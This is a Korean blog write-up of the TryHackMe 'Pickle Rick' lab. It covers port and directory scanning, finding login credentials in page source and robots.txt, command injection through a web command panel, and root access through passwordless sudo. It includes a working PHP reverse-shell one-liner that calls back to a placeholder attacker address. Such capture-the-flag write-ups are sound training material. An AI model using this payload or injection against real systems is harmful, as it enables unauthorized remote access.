본문으로 바로가기

[TryHackMe] Pickle Rick

category Pentest/TryHackMe 2023. 8. 19. 16:08
728x90
반응형

This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform himself back into a human from a pickle.

 

개요

Pickle Rick은 고난이도의 기술이라던가 복잡한 개념을 요구하지는 않은 난이도의 Challenge였다. 다만 중간중간 나오는 정보를 어디에 어떻게 쓸 것인가?를 잘 풀어내야하는데 생각을 너무 많이 한다면 너무 어렵게 접근하여 삽질하는 시간이 늘어나는 Challenge인 듯 하다(필자가 그러했다).

 

 

Scanning

nmap으로 port scan부터 시작해보자.

╰─$ sudo nmap -sC -sV -oA nmap/initial 10.10.175.211   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 14:44 KST
Nmap scan report for 10.10.175.211
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 79:77:0c:40:a1:1c:76:59:e0:a1:28:d0:3d:06:82:59 (RSA)
|   256 88:b6:a9:6a:32:f4:67:1f:fa:33:72:d4:0e:bd:5b:31 (ECDSA)
|_  256 3f:5e:69:6a:a0:db:57:da:d2:21:b7:22:16:90:f6:b5 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds

열려있는 포트는 ssh와 http 두 개 뿐이다. 어떤 경우에는 nmap default로 설정된 port scan 범위를 넘어서 port를 열어두기도 한다. 이 점을 감안하여 1-65535 까지 해봤으나 ssh와 http 외엔 별다른 port를 발견하지 못했다.

 

 

Web Enumeration

Http가 발견되었으니 Web에 대한 Enumeration을 수행하기 위해 gobuster를 실행해보자.

╰─$ sudo gobuster dir -w /Users/jako/private/cyber/util/SecLists/Discovery/Web-Content/common.txt -u http://10.10.175.211/ -t 64 -x .php
Password:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.175.211/
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /Users/jako/private/cyber/util/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta.php             (Status: 403) [Size: 296]
/.hta                 (Status: 403) [Size: 292]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd            (Status: 403) [Size: 297]
/.htaccess.php        (Status: 403) [Size: 301]
/assets               (Status: 301) [Size: 315] [--> http://10.10.175.211/assets/]
/denied.php           (Status: 302) [Size: 0] [--> /login.php]
/index.html           (Status: 200) [Size: 1062]
/login.php            (Status: 200) [Size: 882]
/portal.php           (Status: 302) [Size: 0] [--> /login.php]
/robots.txt           (Status: 200) [Size: 17]
/server-status        (Status: 403) [Size: 301]
Progress: 9426 / 9428 (99.98%)
===============================================================
Finished
===============================================================

위 결과는 여러가지 파일과 확장자를 넣어서 돌려본 후에 나온 결과이다. login.php과 robots.txt가 특이하게 눈에 띈다.

index.html

index.html에는 http://TAGET_IP에 접속하면 보이는 main 페이지이다. 무언가 특별한 건 없어보이는데 페이지 소스보기를 통해 보면 다음과 같은 주석문이 눈에 띈다.

username이 R1ckRul3s인 것을 알려주고 있다.

 

robots.txt

이후 robots.txt 주소에 접속하면 다음과 같은 문자열이 나온다

# http://TARGET_IP/robots.txt

Wubbalubbadubdub

이 문자열로만 유추해낼 수 있는 건 아직 없다. 조금 더 조사를 위해 login.php에 접속해보자.

 

login.php

login.php에 접속하면 다음과 같은 화면이 나온다.

username과 password를 입력할 수 있게되어있다. 앞서 index.html에서 username을 그리고 robots.txt에 알수 없는 문자열을 획득했다. robots.txt에서 얻은 문자열이 여기서 요구하는 password인지 판단할 수는 없지만 입력하게되면 로그인이 가능하다. 로그인 후에는 다음과 같은 페이지가 나타난다.

command panel이기에 특정 명령어를 입력해보자. 입력할 명령어는 현재 경로의 파일과 디렉터리 정보를 알 수 있는 ls -al이다 

command가 실행된다.

 

 

Gainig Access

앞서 login.php에서 command가 입력됨으로써 그에 따른 결과가 나타나는 걸 확인했다. 이러한 유형의 공격을 command injection이라고 부른다. 즉 command injection을 통해 target system의 shell을 획득해보도록하자.

 

Reverse Shell

reverse shell의 종류도 다양하다. 즉 어떤 종류의 reverse shell을 command injection으로 넣을 것이냐가 문제이다. 앞서 web enumeration 단계에서 php가 동작하는 걸 확인했기에 php를 통해 reverse shell을 얻어낼 수 있는 command injection을 시도하자.

php -r '$sock=fsockopen("MY_IP",MY_PORT);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

여러 php reversh shell 입력해본 결과 위의 형태가 동작됨을 확인했다.

 

 

Privilige Escalate

대상 시스템의 shell을 획득했기 때문에 문제에서 요구하는 text를 찾기만 하면 된다. 하지만 아직 root 권한을 얻지 못했음으로 root 권한을 얻어보자. 가장 간단한게 접근하는 방법은 "sudo -l"이다.

sudo 로 시작하는 명령어에 대해 password를 딱히 요구하지 않는다. 그렇다면 sudo su로 root권한을 얻을 수 있을 것이다. 

root 권한까지 얻음으로써 마무리한다.

 

728x90
반응형

'Pentest > TryHackMe' 카테고리의 다른 글

[TryHackMe] Develpy  (0) 2023.09.28
[TryHackMe] Valley  (0) 2023.08.30
[TryHackMe] Easy Peasy  (0) 2023.07.23
[TryHackMe] OverPass2  (0) 2023.07.15
[TryHackMe] Ninja Skills  (0) 2023.03.18